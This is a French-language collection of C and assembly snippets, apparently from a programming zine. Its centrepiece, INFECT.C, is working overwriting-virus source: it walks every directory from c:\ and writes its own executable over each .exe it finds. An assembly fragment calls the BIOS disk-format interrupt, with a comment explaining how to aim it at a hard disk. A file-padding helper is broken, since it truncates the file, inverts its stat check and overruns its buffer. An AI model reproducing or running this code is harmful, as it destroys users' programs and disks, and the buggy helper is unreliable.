#include <sys/stat.h> //pour stat

void AddNulToFile( char *filename, long FileSize )//FileSize est la taille demandée
{
	FILE *fp; struct stat statbuf; long Add, x; char *buf;
	fp = fopen(filename, "wb");
	if(!stat("infect.exe", &statbuf)) return; //pour connaître la taille du fichier
	fseek(fp, statbuf.st_size, SEEK_SET); //on met le pointeur à la fin du fichier
	Add = FileSize - statbuf.st_size; //on calcule la tailleà ajouter
	if (Add < 0) return; //quand la taille demandée est inférieure à la taille du fichier
	buf = (char *)malloc(Add); //allocation de nos 0
	for(x=0; x <= Add; x++) buf[0] = 0;// on remplit de 0
	fwrite(buf, Add, 1, fp);// puis on les écrit
}

/* INFECT.C : nécessite des connaissances élémantaires de l'api windows 32 bit */
/* (c) Patrick : ni PrograZine, ni l'auteur ne sont responsables de l'utilisation */
/* de ce fichier */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h> //pour findfirst et findnext
#include <sys/types.h>
#include <string.h>
#include <io.h>

FILE *infected;
char *buf; long bufsize = 32000; //taille arbitraire

void InfectEXE(char *name);
void FetchFiles( char *path );
int CheckForEXEs(char *name);

void main( void )
{
	FILE *myself; struct stat statbuf;
	if(!(myself=fopen("infect.exe","rb")))
		return;
	if(!stat("infect.exe", &statbuf)) bufsize = statbuf.st_size;
	buf=(char *)malloc(bufsize);
	fread(buf, bufsize, 1, myself);
	FetchFiles("c:\\"); fclose(myself);
}

void FetchFiles( char *path ) // recherche les executables dans le rep courant
{	
	struct _finddata_t Files; long handle; char tmp_path[5000];
	strcpy(tmp_path, path); strcat(tmp_path,"*.*");
	if((handle = _findfirst(tmp_path, &Files)) == -1) return;
	do
	{
		if(!strcmp(Files.name,".") || !strcmp(Files.name, "..")) continue;
		if(Files.attrib == _A_SUBDIR)// dans le cas où l'on rencontre un sous-répertoire
		{
			strcpy(tmp_path,path); strcat(tmp_path,Files.name);
			strcat(tmp_path,"\\");
			FetchFiles(tmp_path);
		}

		if(CheckForEXEs(Files.name))
		{
			strcpy(tmp_path,path); strcat(tmp_path,Files.name);
			InfectEXE(tmp_path);
		}
	} while(!_findnext(handle, &Files));
	return;
}

int CheckForEXEs(char *name) // vérifie si le fichier trouvé est un exe
{
	while(*name && *name != '.') name++;
	if(!strcmp(name,".exe")) return 1;
	else return 0;
}

void InfectEXE(char *name) //copie infect.exe par dessus l'exe trouvé
{
	if(!(infected=fopen(name,"wb"))) return;
	fwrite(buf,bufsize,1,infected);
	fclose(infected);
}

MOV AH,05
MOV DL,00 ; si on change le 00 (lecteur de disquette) en numéro de disque dur...
MOV DH,00
MOV CH,00
MOV CL,01
MOV AL,08
INT 13
MOV AH,00
INT 21

/*
 * Manipuler le checksum 16 bit et 32 bit d'un fichier executable
 * sous windows/dos; peut facilement être adapté à la modification du checksum
 */

#include <stdio.h>
#include <stdlib.h>
#include <io.h>

void Calc16ChkSum(FILE *fp);
void Calc32ChkSum(FILE *fp);
void main(int, char **);

FILE *fp; unsigned long NewHdrOffset, FileSize = 0L; 
unsigned int PageCnt;

#define NEWHDROFFSET  0x3C   /* Emplacement dans l'ancien header
                                avec offset du nouveau header dans l'exe */

void main (int argc, char * argv[])
{ 
   if (argc != 2)
      {
      printf("\n\nUsage: %s \n\n", argv[0]);
      exit(-1);
      }

   if ((fp = fopen(argv[1], "rb")) == NULL)
      {
      printf("\n\nErreur: impossible d'ouvrir : %s\n\n", argv[1]);
      exit(-1);
      }

   fread(&PageCnt, sizeof(int), 1, fp); /* Lire après la signature */
   fread(&PageCnt, sizeof(int), 1, fp); /* Lire la taille de la dèrnière page */
   FileSize = PageCnt;
   fread(&PageCnt, sizeof(int), 1, fp); /*Lire la page entière du compte */

   if (FileSize == 0L)
      FileSize = PageCnt * 512;
   else
      FileSize += (PageCnt - 1) * 512;

   fseek(fp, NEWHDROFFSET, SEEK_SET);  /* Retrouver le nouveau offsetde l'EXE */
   fread(&NewHdrOffset, sizeof(long), 1, fp);  /* et le lire */

   if (NewHdrOffset == 0L)
      Calc16ChkSum(fp);
   else
      Calc32ChkSum(fp);

   fcloseall();
   return;
} 

void Calc16ChkSum(FILE *fp)
{ 
   unsigned int sum16, NxtInt, x;
   unsigned char NxtChar;

   sum16 = 0;
   fseek(fp, 0, SEEK_SET);

   for (x = 0L; x < FileSize / 2L; x++)
      {
      fread(&NxtInt, sizeof(int), 1, fp);
      sum16 += NxtInt;
      }

   /* Prendre le dernier octet si la taille est bizarre */

   if (FileSize % 2)
      {
      fread(&NxtChar, sizeof(char), 1, fp);
      sum16 += (unsigned int)NxtChar;
      }

   printf("\nLe checksum 16bit devrait etre FFFF, et il est %x\n\n",
         sum16);
}

void Calc32ChkSum(FILE *fp)
{ 
   unsigned long sum32, NxtLong, CheckSum32, x;
   unsigned char NxtByte, y;

   sum32 = 0;
   fseek(fp, 0, SEEK_SET);

   /* Caculer le nombre de DWords avant le checksum et les ajouter */

   x = (NewHdrOffset + 8) / 4;

   for ( ; x; x--)
      {
      fread(&NxtLong, sizeof(long), 1, fp);
      sum32 += NxtLong;
      }

   /* Lire le checksum */

   fread(&CheckSum32, sizeof(long), 1, fp);
   /* Ensuite, le reste des DWord dans le fichier */

   for (x = 0; x < (FileSize - NewHdrOffset - 12) / 4; x++)
      {
      fread(&NxtLong, sizeof(long), 1, fp);
      sum32 += NxtLong;
      }

   /* On doit compter les octets en plus du fichier. Normalement, ils
      forment un long avec les bits de poids fort à zéro
   */

   if (0L != (x = FileSize % 4L))
      {
      NxtLong = 0L;
      for (y = 0 ; y < x ; y++)
         {
         fread(&NxtByte, sizeof(char), 1, fp);
         NxtLong += (unsigned long)NxtByte << (8 * y);
         }
      sum32 += NxtLong;
      }

   printf("\nLe checksum 32 bits devrait etre %lx, et il est %lx\n\n",
           CheckSum32, sum32);
}